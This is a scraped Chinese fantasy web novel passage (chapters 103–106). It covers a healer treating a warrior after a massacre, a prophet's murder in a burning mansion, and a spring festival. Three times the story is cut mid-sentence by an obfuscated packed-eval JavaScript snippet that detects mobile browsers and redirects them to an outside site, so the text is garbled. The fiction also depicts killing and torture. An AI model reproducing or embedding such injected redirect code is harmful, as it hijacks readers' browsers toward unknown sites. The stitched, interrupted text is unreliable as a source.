他没有听取队长的计划布局,不顾拦阻,只身走去最前方,然后神殿就没有——不需要再派出任何人。 听起来多荒谬。 克蕾娜却荒谬地想,她完全不怀疑这传闻是真的。 毁灭性的开端打击让对方已经没了声息,但为防后续还有其他进攻,巡防营的守卫仍然留在最前线。 利利提亚也没退下来,虽然同伴想劝,但他似乎精神很好,伤势不重,体力和魔力都不见枯竭,想劝的人也失去了接着说话的底气。 直到夜晚很深的时候,安静的营地里才传来又一阵议论的声响。 克蕾娜在营帐门口见到了他。 利利提亚原本白色的衣服大片大片浸满鲜血留下的深浅不一的红色,金铜色的臂环雕刻凹槽里结着血块,脸边和头发也粘着血迹。 但他看起来既不疲倦,也不狼狈,甚至心情很好般微笑着。 那张漂亮的脸在血色中反映衬出一种夺目而诡异的艳色,让直视的人胆战心惊,却难以移开视线。 他对上了克蕾娜的眼睛,主动过来和她打招呼,声音柔和而轻快:“克蕾娜,我听说你在这边。我受了点伤……恐怕不太好处理,我想还是交给你更加——” 克蕾娜回过神,抓住他手腕往营帐里带:“别站这儿招人眼睛。受伤了就消停点,少说有的没的。” 在抓住他手腕的一瞬间,克蕾娜就感到异常。 利利提亚的体温一直很凉,或许由于奥古斯塔的血统,或者是他那说不明白的体质,克蕾娜没追究过。 但现在克蕾娜手中的腕骨却滚烫,恍如正在烧灼一般。 103.幕间-《借口》(6) 异状太明显,克蕾娜搞不明白利利提亚的体质,特殊病例的异常又没有前例可参考,她抱持了更高的警惕和紧张,凝重地把利利提亚安置在椅子上,去打了盆水。 利利提亚自己在盆里洗了洗手,打湿毛巾擦脸,克蕾娜上下打量他,问:“你的伤口在哪里?” 利利提亚向她摊开手,露出手心里一道深深的伤口,像持握武器时被磨破,又如裂痕一般。 边缘已经有些结痂,中间的血液仍在流动,和盆里的清水混在一起淌下来。 克蕾娜立刻心郁气结:“你有常识吗?这样的伤能随便碰水吗?你不提前吱一声?” “我想问题不大。”利利提亚镇定地用毛巾擦了擦手。 “你是医生还是我是医生?” 利利提亚显出了无声认错的良好态度,乖乖伸出手。 克蕾娜拿来酒精给伤口消毒,观察伤口时忍不住皱眉:“像武器的柄磨破的?你的剑呢?” 利利提亚平时挂着的佩剑并不在身上。 他随意道:“断了,就扔了。战场上不缺武器,随便从别人身上捡来继续用就好。不过不太顺手,用力太大了。” 克蕾娜专注在伤口处理上,话只听进去一半,清理完准备用法术先凝结伤口,利利提亚却突然轻轻从她手中抽回手。 克蕾娜一愣,正要说什么,利利提亚道:“再等一会儿吧。” 克蕾娜感到莫名,脑袋迟缓地转了三圈。 利利提亚手心的伤虽深,也算不上他说的那样“难处理”。 克蕾娜心里一沉:“你身上有更严重的伤?我看看。” 利利提亚想了想,向她点出来:手臂上一道,脖颈有擦伤,有一道长一些的,从肩膀划到胸口,但血已经止住了。 零零碎碎,克蕾娜越看越沉默,看他终于数完那寥寥数道伤痕,不确定地问:“就这些?” 利利提亚很意外:“克蕾娜会希望我受更多伤吗?” “这些……比你手心的伤口都浅,哪里难处理?”克蕾娜抽动眼角,咬牙道。 “听到我的医生这么有信心真好。”利利提亚笑。 利利提亚还有心情开玩笑,但克蕾娜没有。伤口再小,处理不当都有风险。 利利提亚的伤不严重是好事,她悬着的心松了些,又有点恼火于他的夸大。 “你要是不想先处理手,先治疗其他伤口也行。这么浅,治疗法术处理起来很容易。” 利利提亚说:“今天很迟了,你晚上还休息吗?” “我还不累,可以不交班。反正今天也没什么伤员……就你一个,看起来不会忙。” 利利提亚却望着她,突然说:“不然算了吧。” “啊?” “我想还是再等一等……也不是什么必须立刻处理的伤,或许明天……” 克蕾娜的表情显得凝重:“你要是真的脑子出了问题,我去找精神科医生过来。” “不,我只是……”利利提亚低下眼,“我还不能完全控制好自己的魔力,已经等了好一会儿,我以为应该平复得差不多——但还没有。 “如果现在让你治疗……这次不太一样,就算是克蕾娜,治疗时恐怕也会受到影响。” “什么影响?” 利利提亚顿一下,向她笑道:“说不定会做噩梦吧。” 克蕾娜有点无语,觉得自己又被耍了:“就这?” “我也不确定。”利利提亚说。 “手拿来。”克蕾娜懒得讲了。 她接住利利提亚递来的手,触摸到的手臂也发烫,克蕾娜问:“你发烧了?魔力使用过度?” “不太一样。” 还是模棱两可的回答,她也从来不知道哪里不一样。 克蕾娜的指腹压在他皮肤上,忽然没什么意义地想,利利提亚的体温大概是第一次比她还高。 先连接魔力,人体内的魔力流向会在受伤的位置紊乱,像被切断后四散的河流。 要从中观察伤口细节,引导魔力流向恢复正常,再去治愈表层伤口……克蕾娜很熟悉。 她从没觉得利利提亚的魔力有什么特别的异常之处,和其他受伤的人没什么不同。 她伸出魔力,去触碰利利提亚的伤口,就像习惯的每一次一样。 伤口处的魔力流动会非常混乱,这是普遍的难题,克蕾娜处理过无数次,知道该从哪道支流着手……但这次她没能找到任何一道清晰的支流。 克蕾娜看见的是漩涡。 不属于同一种性质的魔力混乱地翻涌碰撞,此起彼伏,互相消磨,仿佛在利利提亚体内展开的另一场战争,争夺生机与领地,那些能量的交锋转换中产生灼热,蒸腾起原本冰冷而稳定的魔力。 克蕾娜受到冲击,在那片混乱中头昏脑涨。 她打起精神分辨它们,克蕾娜熟悉利利提亚原本魔力的性质,终于在一片乱局中确认出自己的协助对象,帮助最适应这个身体的原住民魔力凝聚稳定下来。 其他性质的杂乱魔力很快败下阵,被魔力的浪头所吞没。 这块区域的魔力流向逐渐恢复了正常。 没有那些激烈的交锋,热量也开始下降,缓缓趋于稳定。 克蕾娜松了口气,试图顺着他的魔力流向去观察伤口细节。 那流动仍然有紊乱,像时不时撞到河中的异物石子似的一动一动。 克蕾娜的魔力跟着他的魔力流向转动,却在触碰到那些异物时,突然心底一阵发冷。 那些“异物”,那些“不同性质的魔力”中,传来她并不认识的,许多“其他人”的——濒死的呼救。 但那些异物很快在更庞大而稳定的流动中被抹平了,像被河流冲散的沙砾,化开在水中的冰。 克蕾娜在那一个瞬间突然意识到:那些引起利利提亚魔力紊乱的能量来自于外界,来自于其他的“人”。 他的敌人……被他杀死的人。 那些冰冷的情绪,那些濒死者的挣扎,在纯粹的魔力接触中传递到她身上,刺激着克蕾娜的神经,让她对那些素未谋面的人的痛苦几乎感同身受。 周围的魔力似乎静止了一瞬间。 它们注意到了克蕾娜的变化,转过视线,冰冷地凝视着这个突然出现在它们之中的异类与外来者。 在它们的攻击刺伤她之前,克蕾娜切断了魔力连接。 营帐的帘子垂着,夜晚里只有桌上一盏冷色的灯,像升在帐中的月光。 克蕾娜感觉头脑晕眩,身体发冷。 她松开利利提亚的手,直过身向后拉开了距离。 利利提亚手心里的那道伤口的血已经止住了。 克蕾娜捏住桌缘,试图通过稳定的外物来支撑自己,但那些情感的余震仍然一阵阵刺激着她的精神,让克蕾娜无法自制地颤抖。 利利提亚看着她,没有喜悦,也没有其他情绪。 帐中的灯光与夜色寂静,缺乏氧气,像要将人溺毙的水泽。克蕾娜感到难以呼吸。 克蕾娜有时想,她对死亡或许缺乏更具体的概念。 她没有真正经历过战争,作为医生资历尚浅,有人会说她天真盲目,那也难免。克蕾娜不在乎。 她知道自己一直站在与死亡相近的位置,它的阴影太庞大,笼罩在方方面面。 克蕾娜一直以为自己已经正视了死亡,却忽然发现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478144|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己一直以来所凝视的,仍然只是它的影子。 那些不适,那些恐惧,那些莫名其妙移开的目光,从她身体的角角落落涌上来。 克蕾娜想起她为什么讨厌利提亚,不需要经过思考的本能。 她在观众席上遥远地瞥见死亡的影子,凝聚在他身上——像是死亡的化身与具象。 克蕾娜花了好一会儿调整呼吸,浮出水面,慢慢恢复了思考的节奏。 沉默了半天,想开口说什么,一时觉得嗓子发哑,她给自己倒了杯水。 润完喉克蕾娜才说:“你手心那个伤伤得有点深,需要分几次治疗。其他几个浅一点的应该可以直接处理,我先试试看。” 利利提亚眨了眨眼睛。 “好吧,我先缓一会儿。刚才消耗的魔力有点多。”克蕾娜审视了一下自己的状态,客观地认为没法心急,支在桌边深呼吸,平复自己的状态。 “克蕾娜不生气呢。”利利提亚说。 “生什么气?”克蕾娜瞥了他一眼。 “我想你应该已经注意到不正常的地方了,但你看起来没想问我什么。” “问了有意义吗?” “说不定我会回答呢。” 克蕾娜按着额角沉默了一会儿,正过视线说:“没什么区别。下一个治哪里?” 利利提亚笑起来。 他从椅上站起,向克蕾娜靠近一步,倾过身,抓起她的手。克蕾娜没能抽出来。 他牵着克蕾娜的手,将它贴到自己的脖颈侧边。克蕾娜感到指腹按在他的颈动脉上。 他的脖颈仍然发烫,血液流速和心跳都比平时更快。 那心脏的搏动从手上传递过来,牵动她的血管,震动中微微发麻。 利利提亚的眼睛很亮,装着桌边的灯光,仿佛水面上被波纹敲碎的月亮,和声音一起沾染着异常的热度。 “我一直——一直很好奇一件事。克蕾娜,你说,我是不是只有半颗心脏?” 他的声音轻下来,像低声的絮语,“你想知道吗?克蕾娜,克蕾娜……你想剖开我看看吗?” 克蕾娜捂住了他的嘴。 利利提亚眨眨眼睛。 “你今天是伤员,我不跟你计较。”克蕾娜说,“坐好,把嘴闭上。实在控制不住就放空脑子别思考。” 利利提亚松开她的手,后退一步,坐回位置:“有点困难。事实上——我现在还是很兴奋。” “看得出来。但是很恶心,你别强调了。” “我不是第一次杀人。但像今天这样的规模,还是第一次。真让人高兴。” “你如果不得不说话,我可以把耳朵堵上,就当尊重你了。” 利利提亚弯起眼睛:“我没受过什么严重的伤,这次或许是不错的机会。看见‘我’之后,克蕾娜,你没有想过要杀了我吗?” 克蕾娜的动作停顿了一下。 “你是个好医生。‘杀了我可以救更多人’,你没有这样想过吗?” 她沉默了一会儿,看着利利提亚的眼睛:“那不是医生该做的事。” 利利提亚无声地笑了笑:“‘救眼前所有能救的人’,无关其他任何因素。所以我才说,你是我见过最好的医生。” “很多人会说这不是好事。” “他们怎么想不重要。”利利提亚说,“世上或许无数的人该死,但你这样的人应该活下来。” 克蕾娜抬了抬眉毛:“我应该高兴吗?接到了死神的赦免令?” “我不是真正的死神。我也当然不会杀你。” 利利提亚笑着说,银色的长发在灯下泛着细碎的亮光,像星子在闪烁,“我们是朋友嘛。” 104.幕间-《借口》(7) 后来的事似乎没什么值得特意说明的。 神殿只派出一个人就全灭了对方的先锋部队,但凡不是死要面子或者没有脑子的,都会重新掂量。 对方再次联络时向神殿送来的是请和书。 不战誓约的立场在那里,神殿不会不依不饶。 议会叫利利提亚去谈过话,没出什么问题,也没什么动静。 这次小规模的宣战就这么潦草地收场,没能试探出任何神殿的深浅。 当然有人不满,没过半年就又有坐不住的国家被怂恿着推出来对神殿动手。 魔法真是双刃剑,奇迹般的辉光使人们强大,又使高位者自以为能掌控奇迹,从而越发盲目。 没有见过就无法想象,被命运所青睐的个体究竟能强大到何种程度。 利利提亚就是他们无法想象的例子。 在前人的经验上,他们比上次多动了点花样,但结果仍然没什么变化。 利利提亚又一次赢下了对面的军队,甚至能算轻描淡写。 终于不止敌人惧怕他,连神殿的不少同僚都对他产生了隐约的畏惧。 而克蕾娜在清洗手上的血迹时麻木地想,原来她也真的可以习惯这些。 或许世上本就没有真正的理想乡。 阿瓦托芬所呈现的美梦,也需要付出代价。 议会又去叫利利提亚谈话。 资历和出身都不是太重要了,指月石肯定他,议会可以不在乎那些。 后来他开始升职,再后来,利利提亚成为了神谕祭司。 没有女巫在位的时候,神谕祭司就是女巫的代言。 那些觊觎阿瓦托芬的声音都为此沉默。 仍然,时不时有点“小打小闹”,但终归是安静多了。 以暴力震慑暴力所获得的和平是否真的长久,克蕾娜不想知道答案。 但又怎么可能会长久呢。 克蕾娜想,她其实再清楚不过了。 即使能带来相似的假象,利利提亚也不可能替代真正的女巫。 甚至,他或许会带来截然相反的东西。 克蕾娜午休的时候在办公室小眠,听见书本被风吹开,在窗帘的翻动中呼啦啦作响。 她困倦地从桌面抬起头,迷蒙中看到利利提亚坐在桌边,正托着脸看她。 克蕾娜捏了捏眉心:“我锁门了,你怎么进来的?” “翻的窗户。”利利提亚不避忌地说。 克蕾娜困得很,又实在习惯到懒得骂他了。 利利提亚成为神谕祭司之后更少来找她,主祭司的工作实在太忙,克蕾娜完全不怀疑。 甚至觉得他还有心思抽空来找她,那显然是工作还不够忙,希望神殿再接再厉给他找事。 但利利提亚是那种不会把压力在自己身上留太久的人,他自有纾解的方法。 巡防营的老人都知道别招惹他,但总有初来乍到的天真新人。阿瓦托芬的人员流动变化快也是一种地方特色,总能让利利提亚诓到那么几个好奇心强烈无知者无畏的新人跟他练手。 练手结果就是堂堂提了一批又一批的人来医疗部,让克蕾娜近来在医疗部看见利利提亚的脸就应激性地想让他滚出去。 这种一看见他就知道没好事,每次都道歉,每次都不改,“又带麻烦来了”的感觉。 克蕾娜有时恼怒里恍惚觉得和刚认识利利提亚的时候也没什么区别。 利利提亚还不至于在午休时间给她带麻烦过来,克蕾娜这时还能给他点好态度,打个哈欠按了按眼角,和他没意义地掰扯几句废话。 利利提亚有时候会抱怨工作,他随口说,克蕾娜随便听,听到足够幸灾乐祸的地方还能心情更好地嘲笑一下。 克蕾娜在朦朦胧胧的倦意里听到他淡淡讲着些七七八八的杂事,跟着很没诚意的嗯嗯几句。 那声音稍微停顿了一下,说:“上次路上碰见你的时候,你对我用敬语了。” 克蕾娜撑着脸又嗯了一句:“你现在是我上司了,怎么嫌我敬语不够标准?” 利利提亚显得有点难过:“我还是喜欢克蕾娜用这种语气跟我说话……” “说你受虐癖还不承认,受不得别人对你客气?” “别人无所谓,但克蕾娜不一样啊。” 克蕾娜听着自己的心跳。 一下,两下,稳定而缓慢,像沉顿的句号。 也没什么不一样。她想。 克蕾娜顺着残余的倦意合上眼睛,不想看他的表情,淡淡说:“我不想被人觉得和你太熟。” 风声卷过房间里的安静。 在秒针分开半张表盘的空白后,利利提亚说:“克蕾娜成熟了很多呢。” 克蕾娜嗤笑了一声:“怎么,不是很正常吗?只有死了的东西才一成不变。” “是啊。” 他们有好一会儿没说话。 最后利利提亚提到给她带的点心放在桌上了,他要回去准备下午的工作,然后又原路返回地从窗户离开。 克蕾娜听见风声仍在搅动窗帘,窗户还没关。 她半张着眼去拆开点心盒,利利提亚送这些也不是次次翻新花样,有时就挑那几家口味好的重复送。 克蕾娜挺喜欢这家的饼干,同款铁盒柜子里还堆着三五个。 本来就谈不上变化,很多事情在一开始就是那样。 从来都只是当时发现和没发现,现在看见和装作没看见的区别罢了。 克蕾娜合上盒子,想,午休时间结束了。 . . . 克蕾娜在手术室忙了半天,被切断的肢体单靠治愈法术无法完好接上,需要配合药物。 还好受伤时间不长,处理还算及时,之后只要适当休养,应该能恢复如初。 但匹尔查斯的使团会在这里停留多久?他们不可能留在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482809|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里等待一个护卫。 使团里有能照顾他的医生吗? 那个王子又会怎么处理事情的后续? 刚放下手术刀,这些问题就一个接一个从克蕾娜脑海中冒出来,像一连串吵闹的气泡。 她讨厌这些问题。即使救下了谁的性命,得到的似乎也只是眼前一个暂时的结果,几乎可以预见它破灭的情形。 那些相关联的利益和算计太沉闷,紧密压抑得让人难以呼吸。 克蕾娜始终不能理解,也不能赞同,怎样的利益值得用性命去衡量? 克蕾娜慢慢呼出一口气,对思考的重量感到疲惫。 人总有一天会死去,对谁都一样不可避免,她只要能将自己眼前正在发生的死亡向后延迟一点……再延迟一点,尽自己的全力,让这件事尽可能晚地发生…… 这是她能做到的,不向那些难以抗拒的庞大事物屈服,又最遵从自己本心的方法。 克蕾娜收好手术工具,刚抬起头,就对上了床上病人的眼睛,她吓了一跳。 多里克的体质确实很好,手术的麻醉效果在他身上消退得也快,只这么会儿时间,看起来已经恢复了些体力。 他开口,声音沙哑干涸地说了句什么。 克蕾娜没听懂,旁边做她手术助手的同事本来在门诊部值班,身上还挂着接诊时用于翻译的魔法石,倒听明白了:“和你一起来的人?哦,他们没事,只有你受伤了。” 多里克点头,又望向克蕾娜。 同事把翻译的魔法石塞给她,克蕾娜刚拿稳,就听见多里克说:“谢谢。” 那是他的母语。 克蕾娜突然意识到。多里克不会通用语。 广场上发生的那一切,他一句都没有听懂,但没有人需要他听明白。 “啊,呃,嗯,你……”克蕾娜说,“你好好休息。” 多里克向她颔首,微微躬身,大约是表达感谢和敬意。 克蕾娜把魔法石还给同事,说:“我手上血太多,我去洗一下。” “好,辛苦了,好好休息。”同事向她点点头,继续收拾手术用具。 克蕾娜开门出去。 傍晚的余晖已经消散了,走廊昏暗而冰冷。 这个时间,大部分同事已经下班,洗手间里没有其他人。 洗手台上的灯光惨白,但很清晰,也使得她手上沾到的每一丝血迹看起来都更分明。 克蕾娜的指缝里都嵌着血块,她抹上肥皂搓洗了很多遍,还是没彻底洗干净。 手指被冻得发冷,把克蕾娜自己手心的血色都冻得发白。 她在夜晚的冷意里突然打了个寒战。 仿佛有人在她身后,向她俯过身来,长发落到她肩上,擦过她耳畔的声音和气息都是冰凉的,像死亡近在咫尺的低语。 克蕾娜关上水流,双手撑在洗手台边,迟来地开始颤抖。 “骗子。”她低声说。 105.预言家 “你们听说过吗?国王身边的‘预言家’。” . . . “啊,我知道,那个谁……名字我忘了,当年还挺厉害的。 “好像知晓所有过去未来,预言的事情一说一个准,很受国王宠信,连着一大家子荣华富贵。 “得到了贵族的爵位封赏不说,还有数不清的人把奇珍异宝往宅邸里送,想求她为自己做个预言指点,或者在国王面前说点好话。 “嗐,你别说,我当年也向她送过礼物,你猜怎么着——呵,连她一面都没能见上,高贵的大忙人。” . “当年国王是很相信他身边的预言家的,飞黄腾达不少人,但毕竟没有一个比那女人算得更准确,得到再多封赏财富也不稀奇。” . “那也是当年啦……如今,皇宫里的‘预言家’不是一个都没了吗? “也就刚刚那一位,还算聪明,做上贵族,扎上了根,这才没轻易消了踪迹。 “但也不好过,她靠着预言的才能得到的一切,一旦没人再听她的话,也就不过是个疯癫的巫婆啦。” . “你说话还是当心点,免得有人以为你在影射那一位……” . “那一位……冤枉,我哪儿敢呐!她上个礼拜,又砍了多少人的脑袋?” . “别议论、别议论,就你这说话不把门的性子,女王要是想追究,你早没命在这儿说瞎话了。 “你难道不知道,预言家为什么会在宫殿里绝迹?” . “不是哪个预言家说错话得罪了她?” . “呵,要因为这点由头他们就过不下去,从前的预言家怎么能那么狂妄? “宫殿里不再有预言家,是因为女王根本用不着他们。” . “——过去,现在,未来的全部,她都看得见,她都知晓。 “那位女王殿下自己就全知全能,哪里还需要别人提醒她?” . “那也真怪了……女王从前还是王后的时候,就已经是这般本事。国王想知道什么,都去问她不就是了,何必还要什么预言家?” “夫妻间的事呐……” “他们不是恩爱的很吗?那位陛下可只娶了这一位妻子,前所未有啊!深情到这个地步……但说回来,有那样的妻子,怕也不敢再找别人了。” “那可不一定,女王当年多的是风流事——听说她养了十几个男宠,数不清的情人,多少诗人为她心碎,写了一篇又一篇情诗……哈哈,当然,陛下气得够呛!” “欸……当真?听起来是个绝代的美人啊,可惜我没见过她……” “国王陛下过世之后,也没再听说她有情人的事了。或许是人不在了才知道情深,哎……大王子也大了,做母亲的,多少要顾及……” . “你们喝多了。一个两个都敢议论女王的私事,脑袋在脖子上住得太安稳了?” . “哈哈,别担心!就算这世上发生的一切她都听得见,管也管不过来啦! “要只是议论她就掉脑袋,她起码得从推罗的城头砍到街尾,十天十夜都杀不完啊!” . “一帮醉鬼……” . “说来,怎么突然提起了预言家?多久没听人提到,嗝……” “啊……没什么,就是刚刚提到的那个预言家,听说昨天宅邸烧没了,一家人都没个活口。” “嚯……这年头,还有贵族的宅子能烧成那样啊?” “谁都知道不是意外。” “可怜……嗐,不知道挡了谁的道呢?” . . . 火焰在墙边燃烧,攀上树枝,漫过地毯,从窗帘升上去。 稀薄的月色在火光里黯淡,夜晚却静悄悄的,盖过屋宇里早已消失的呼吸声。 他走过一面又一面书架,抽出几本,翻了翻就扔到地上。 手指划过书脊时,直觉提示他,这些书里没有对他有用的东西。虽然他本来也没抱什么指望。 早已被驱逐出政治中心的预言家,家里能存有的机密本就聊胜于无。 “你是谁?” 声音从背后颤动地升上来。 他停了停,回过身,看见被倒塌的雕刻柱压住双腿的女人艰难地尝试爬起来。 她的头发凌乱,束发的珠宝松散了,随着她试图起身的动作噼里啪啦落下来,在地毯上无声地滚开。 “你是谁?” 她盯着眼前的男人,颤抖的声音逐渐疯狂起来,“你是谁?你是谁?” “这重要吗?”他合上手里的书,扔进火里,“我还以为你已经死了。” “你是谁?公爵的人?女王的人?是谁?” “是吗,你现在还在想,是不是自己站错了队,押错了人。” “是女王……是女王!是女王!!是吗,是女王!!” “不是我们尊敬的女王殿下让我来的,她根本不在乎你。 “你也知道吧,她根本不需要预言家,所以不管你怎么讨好,她都没给你一分注意。你心灰意冷,就大胆到想要怂恿公爵去扳倒女王。呵,勇气可嘉。 “你如此聪明,却预料不到自己的死期,看来是年纪变大,眼睛没有从前明亮了。” “女王的狗……该死……那个疯女人,□□……你们这些,你们会遭报应的!你们一定会……” “都说了不是。算了,我看你也听不进去。” 他看着地上的女人,冷冷地说,“你也一定记不得,自己为了讨好她,都做过什么事了。” 她仍然徒劳却疯狂地挣扎,指爪撕裂了身下的地毯,指甲在地板上抓出血痕,但压在她身上的柱子纹丝不动。 女人咬牙切齿地发出一连串刻薄的脏话和咒骂。 “你们一定要遭报应……你们该死!我要诅咒你们!” 她将眼睛定在身前的人身上了,怨毒地死死盯着他:“刽子手,屠夫,畜生……我诅咒你!我要诅咒你!你一定不得好死! “你要众叛亲离,你要家破人亡,你——啊!!……啊啊!!!” “嘘——” 男人走到她面前,踩断了她的腕骨,在她的惨叫中轻声说,“这话说得不对,已经发生的事,怎么能叫预言?” 他向女人俯下身去,暗红色的眼睛恍若正在燃烧一样。 “你们早就已经让我无家可归了。” . . . “西里斯?” 艾玛扣扣门,因为没听见应答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492078|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而疑虑地走进房间,“今天开始是春祭,我想去城里看看,你要一起去……西里斯?没事吗?你的脸色看起来不太好……” “没事。” 艾玛伸手想摸摸他的额头,被西里斯拦住了。 他的声音很低。 “我有点不舒服,想单独休息一会儿……你自己去吧。” 艾玛顿了顿:“是头痛?因为鬼魂?如果我陪着你,会好一点吗?” “没用,不一样……让我自己待一会儿,艾玛。” 她沉默一会儿,说:“好,那我迟一点再来找你。这个……贝拉做的纸鸽,如果你想找我,可以用它通知我,不要太勉强……那,我先走了。” 艾玛把纸鸽放在西里斯手边的书桌上,犹豫了几秒,最终起身准备离开。 “玩得开心。” 她听见西里斯在背后说,回头看了看,西里斯却并没有在看她。 “嗯。”艾玛回应道,走出房间,关上了门。 春祭要持续一周,阿瓦托芬的街头早已淹没在一片花海里,到处是琳琅的装饰摆设。 居民们穿着鲜艳新奇的服饰,使得城内的人流像化装舞会的现场。 文礼司向艾玛送了几套符合春祭氛围的服装,她出门前选了件简单的穿。荷尔贝拉也保持一贯的低调,最多是没穿制服,衣角绣着几朵花,勉强点了个题。 只有喜欢热闹的哈瓦娜穿得鲜艳明亮,跟旁边这俩人站一块儿,像雪地里的橘子一样鲜明。 哈瓦娜浅浅地忧虑了一番自己是否喧宾夺主,但考虑到三人跟文礼司搭不上半个边,没人会因此批评她,很快心下释然,有说有笑,毫无负担。走在街上十分钟,手里已经拿了三杯小食和饮料。 艾玛仍然惦记着西里斯的状况,有点心不在焉,在哈瓦娜热情的介绍和根本没有必要的活动现场情况口述转播中,才慢慢回过神,沉浸进了一些节日的氛围里,打量起周围的环境。 春祭第一天有神殿和部分民间组织合作举行的游行演出和开场活动,游行演出才刚开始,人群大多还在街上,没有四散去他处。 民间的剧团,乐团,一些艺术组织做的花车花船在街心中流过,许多演出者向观众们抛出花球、彩带、糖果。 艾玛接到了一些,分给了路边的小朋友。 人群中传来喜悦的惊呼,柔软的草地鲜花漫出石砖,在街面上流淌。白日阳光都忽的暗淡不少,像舞台的聚光灯那样,将最明亮的光线留给花车中心。 花车中的花苞装置缓缓打开,猛地炸出一片闪光的纸带花瓣,街上重新明亮起来,像是花朵还回了日光。 一群穿着精灵仙子一般服饰的演员们从花中涌出,或走或飞地来到人群中,向观众们送出篮子里的礼物。 ——像芬妮的幻觉魔法。 艾玛刚刚还在思考这表演的视觉效果是怎么营造出来的,就看到了芬妮的身影。 她的衣裙比排练时更隆重,裙上一层层纱和缎织绣成的花朵在接触人群时软软地在对方身上压扁了形状,分开后又松松地膨开。头上戴着花冠,角上缀着花贴,背后还有一对金属丝弯成的翅膀。 她向身边的观众放送一支又一支鲜花,向等待的孩子们弯下身,从篮里捞出一粒粒糖果。 芬妮四处环顾时望见了艾玛她们,玫瑰色的眼睛一亮,便向她们走过来。 106.春祭 她在艾玛面前牵起裙摆,行了一个优雅的礼。 “美好的一天,小姐。” 芬妮的口吻和平时不一样,称谓还用了非常花哨的语法,看来这副装扮还有点角色设定在身上。 她像花瓣的波浪那样柔软地直起身,眨着明亮的眼睛,贴过来亲了亲艾玛的脸颊。 芬妮刚刚分开时还带着点仍在角色中的余裕,这时对上艾玛的眼睛,脸上勉强克制的红晕越发勉强了,逐渐烧到耳根子上。 在她快端不住架子前,芬妮迅速从篮里捞出一大把粉玫瑰,全塞进了艾玛手里。 然后把一朵黄和一朵白玫瑰别在了哈瓦娜和荷尔贝拉鬓边,兢兢业业地完成角色本分再行了一礼,才匆匆半掩着脸用法术飞走了。 旁边的观众还在惊叹,简直像真的花仙子一样。 艾玛左手拿着哈瓦娜塞给她的一杯饮料,右手握着一捧芬妮塞来的粉玫瑰,沉思了三秒。 哈瓦娜还在旁边乐,笑得头上松松别的玫瑰很快落下来,她接住了。 哈瓦娜发现芬妮不好意思了,还笑“怎么走得那么快呀也不顺便亲一下我和贝拉嘛”…… 那捧粉玫瑰太大了,热烈得好似芬妮明晃晃的私心。 艾玛无奈地让荷尔贝拉帮她接一接手里的饮料,将那捧花分给身边的观众。 花仙子们送完礼物,回到花车上,开始合唱与念词,几位演员有序地走位与舞蹈,演出本地居民们耳熟能详的春祭剧目。 花车上的乐团在演奏轻快的欢庆曲子,街道两边房屋的阳台也有人探着身过来看,吹着口哨或大笑鼓掌,向车上抛洒花瓣和礼物。 剧团有专人负责不让抛洒的东西影响到演员,他们还特意做了符合演出、很有氛围的打扮,看起来是拿着麻袋到处飞舞、鞠躬致礼的敏捷精灵。 艾玛将留下的一朵粉玫瑰别在胸前,跟着拍了拍手,接回自己的饮料喝了一口。 有大规模魔法辅助的演出在哪里都罕见,要是阿瓦托芬对外开放,想必会有不少游客特意为此来访。 以阿瓦托芬当地的特色文化景观,应该很能带动一波旅游经济,对于外交商贸往来也有利…… 艾玛下意识评估起这方面的商业价值,生意做多了的习惯使然。 这景象让她想起费拉约尔斯的揽花节,也是费城一年里来访客人最多的时期。 为了主办好这一场活动,实际前前后后要忙上半年,当然不能浪费其中有利可谋的环节。 希望嘉兰一切都好,不要为了揽花节忙得不顾休息。 沙漠旅行时,路过某国要是有什么庆典活动,也是谈交易的大好时节。 节日的氛围不仅让游客心花怒放地买账,也会让商人们乐于多让两分利。 但这样的春祭,想来是也只能阿瓦托芬独有。毕竟艾玛从未在其他国家见过如此“放养”魔法师的景况。 有魔法才能的人总是高人一等,不是聚集在贵族王权身边为剑为盾,便是为自己谋求地位私利,除非实在无害的才能,也少有选择其他可能的空隙。 而阿瓦托芬魔法师众多,才能就像现在街上飘洒的彩带,能让人惊喜一下,但谁都不会太稀奇。 乍一看这样“平等”的景象令人向往,但实际从这个国家的管理者角度看来,想象一下就叫人焦头烂额。 “魔法带来的奇迹随处可见”“什么都可能发生”,那么用魔法制造的麻烦也一样。 没人能知道礼花会在什么时候变成刀子,又刺向哪里。 虽说有一定的信仰约束,这里仍有的非信仰者先不论,即使同样是信仰者,对神也抱持着不同的看法和期待。 还有偷盗杀人却仍希望被神宽容偏爱的信仰者,总不能指望他们自觉。 维持秩序需要明确稳定的“规则”约束,比如法令条规。 更重要的,是用于维持规则的“暴力”。 